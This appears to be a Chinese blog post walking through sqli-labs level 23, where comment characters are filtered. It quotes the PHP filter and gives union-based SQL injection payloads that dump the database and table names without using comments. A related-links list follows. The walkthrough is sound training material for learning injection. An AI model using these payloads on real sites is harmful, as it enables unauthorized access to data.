当前位置: 首页 > news >正文

sqli-labs靶场通关笔记:第23关 注释符过滤

一、审题

这一关开始进入了靶场的第二阶段:进阶注入。

看一下题目,乍一看和第一题很像,id传参试一试。

测试闭合方式,根据报错信息推测是单引号闭合,但是发现加了注释符后还是报错。

 二、思考

思考一下,单引号闭合,加了注释符还报错,说明注释符没有起到效果,推测注释符被过滤掉了。

悄悄查看一下源代码,果然是过滤了注释符号:

$reg = "/#/";           // 定义正则表达式,用于匹配字符 '#'
$reg1 = "/--/";         // 定义正则表达式,用于匹配连续的两个横线 '--'
$replace = "";          // 设置替换内容为空字符串,即删除匹配到的文本
$id = preg_replace($reg, $replace, $id); // 执行第一次替换:删除 $id 中所有的 '#' 字符
$id = preg_replace($reg1, $replace, $id); // 执行第二次替换:删除 $id 中所有的 '--' 字符串

我们利用注释符的目的是截断末尾,构造完整的闭合。

//源代码;
SELECT * FROM users WHERE id='$id' LIMIT 0,1//构造注释符;
SELECT * FROM users WHERE id='$id' union select 1,2,3 --+ 'LIMIT 0,1

现在的问题是,末尾的'LIMIT 0,1处理不了,这样语法就是不正确的。尝试构建完整闭合语法来实现注入。

SELECT * FROM users WHERE id='-1' union select 1,2,3 or '1' = '1 'LIMIT 0,1

这句话保持了语法完整,闭合了末尾单引号,用or构建了永真条件,'1'(字符串)比1(整数)更严谨。

三、做法

1.爆数据库名;

?id=-1'union select 1,database(),3 or '1'='1

2.爆表名;

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and '1'='1

3.爆字段,爆数据。

注意:在爆表名中使用and会返回当前数据库中的表,使用or会返回所有表。这是and和or存在的逻辑差异,具体情况具体使用。

http://www.lryc.cn/news/590433.html

相关文章:

  • 二、CV_AlexNet
  • 81、面向服务开发方法
  • 关于SaaS业务模式及其系统架构构建的详细解析
  • 横向移动(下)
  • IPD-流程设计-TE角色说明书参考模板
  • 多维傅里叶变换性质与计算
  • CSS3动画基本使用——页面一打开盒子就从左边走向右边
  • 【尝试】本地部署openai-whisper,通过 http请求识别
  • C++-linux系统编程 11.常见问题与答案
  • 创建SprngBoot项目的四种方式
  • 降本增效利器:汽车制造中EtherCAT转PROFIBUS DP网关应用探析
  • 快速开发汽车充电桩的屏幕驱动与语音提示方案
  • 使用 SeaTunnel 建立从 MySQL 到 Databend 的数据同步管道
  • Mysql系列--1、库的相关操作
  • 在 IntelliJ IDEA 中添加框架支持的解决方案(没有出现Add Framework Support)
  • AI学习笔记三十一:YOLOv8 C++编译测试(OpenVINO)
  • 使用Telegraf从工业物联网设备收集数据的完整指南
  • Beautiful Soup(BS4)
  • ABP VNext + EF Core 二级缓存:提升查询性能
  • AI炒作,AGI或在2080年之前也无法实现,通用人工智能AGI面临幻灭
  • 【RTSP从零实践】13、TCP传输AAC格式RTP包(RTP_over_TCP)的RTSP服务器(附带源码)
  • 50天50个小项目 (Vue3 + Tailwindcss V4) ✨ | AutoTextEffect(自动打字机)
  • 使用Whistle自定义接口返回内容:Mock流式JSON数据全解析
  • SQL性能分析
  • C# --- 单例类错误初始化 + 没有释放资源导致线程泄漏
  • 【Linux】如何使用nano创建并编辑一个文件
  • 动态规划题解_打家劫舍【LeetCode】
  • 编译原理第四到五章(知识点学习/期末复习/笔试/面试)
  • 部分排序算法的Java模拟实现(复习向,非0基础)
  • AWS ML Specialist 考试备考指南